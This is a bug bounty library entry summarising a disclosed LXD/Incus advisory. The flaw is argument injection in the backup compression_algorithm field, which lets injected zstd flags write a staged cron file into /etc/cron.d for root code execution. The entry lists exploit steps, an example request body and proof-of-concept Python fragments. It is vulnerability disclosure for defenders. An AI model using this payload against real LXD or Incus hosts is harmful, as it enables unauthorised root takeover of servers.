# LXD has argument injection in backup compression algorithm leading to AFW and ACE

LXD/Incus validated only the first token of backup compression_algorithm, letting extra zstd args write arbitrary host files and achieve root RCE via cron.

- Payout: Research
- Severity: critical
- Program: LXD
- Found by: antifob
- Disclosed: 2026-11-06
- CVE: CVE-2026-48755
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fmc8-p6q7-75cc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fmc8-p6q7-75cc
- Tags: area:cloud domain:infra impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:command-injection

**Target:** LXD/Incus daemon backup API (compression_algorithm parameter)
**Root cause:** compression_algorithm is split with shellquote.Split and only fields[0] is checked against an allowlist; remaining user-supplied fields are appended to the compressor command line, enabling argument injection.
**Steps:**
1. Upload a cron payload into an instance via `POST /1.0/instances/<name>/files?path=/incus-zstd-cron` with X-Incus-uid: 0.
2. Send `POST /1.0/instances/<name>/backups` with body `{"compression_algorithm": "zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source_host_path>", "instance_only": true}`.
3. Daemon runs `zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>`, writing the staged payload to /etc/cron.d.
4. Cron executes the payload as root.
**How found:** Code review of the compression_algorithm validation: noticed only fields[0] was allowlisted while fields[1:] were passed verbatim to exec.Command, suggesting argument injection.
**Exploitation:** Authenticated API client stages a cron file inside an instance, then triggers a direct backup whose compression_algorithm injects zstd flags (`-o /etc/cron.d/...`) to copy the staged payload to a host cron directory, yielding root command execution on the next cron tick.
**Escalation:** Arbitrary file write as daemon (root) escalated to code execution by targeting /etc/cron.d.
**Insight:** When a config value is shell-split and only the first token allowlisted, look for downstream exec.Command calls that append the remaining tokens — compressor/archiver flags like zstd `-o` or tar `--to-command` turn this into file write or RCE.

## Proof of concept (copied exactly from the original report)

**Injected zstd compressor argument string**

```
compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}"
    body = {"compression_algorithm": compressor, "instance_only": True}
```

**Backup request carrying injected compression_algorithm**

```
url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
    print("[*] sending direct backup request")
    resp = s.post(
        url,
        data=json.dumps(body).encode(),
        headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
```

**Cron payload upload to instance**

```
url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path)
    headers = {
        "Content-Type": "application/octet-stream",
        "X-Incus-type": "file",
        "X-Incus-write": "overwrite",
        "X-Incus-uid": "0",
        "X-Incus-gid": "0",
        "X-Incus-mode": "0644",
    }
    print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}")
    check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")
```

## Write-ups of the same bug (oldest first)
- 2026-06-26: [Incus has an argument injection in backup compression algorithm leading to AFW and ACE](https://bugbountylibrary.com/r/ghsa%3AGHSA-v6mj-8pf4-hhw4) — antifob
- 2026-11-06: [LXD has argument injection in backup compression algorithm leading to AFW and ACE](https://bugbountylibrary.com/r/ghsa%3AGHSA-fmc8-p6q7-75cc) — antifob (this one)

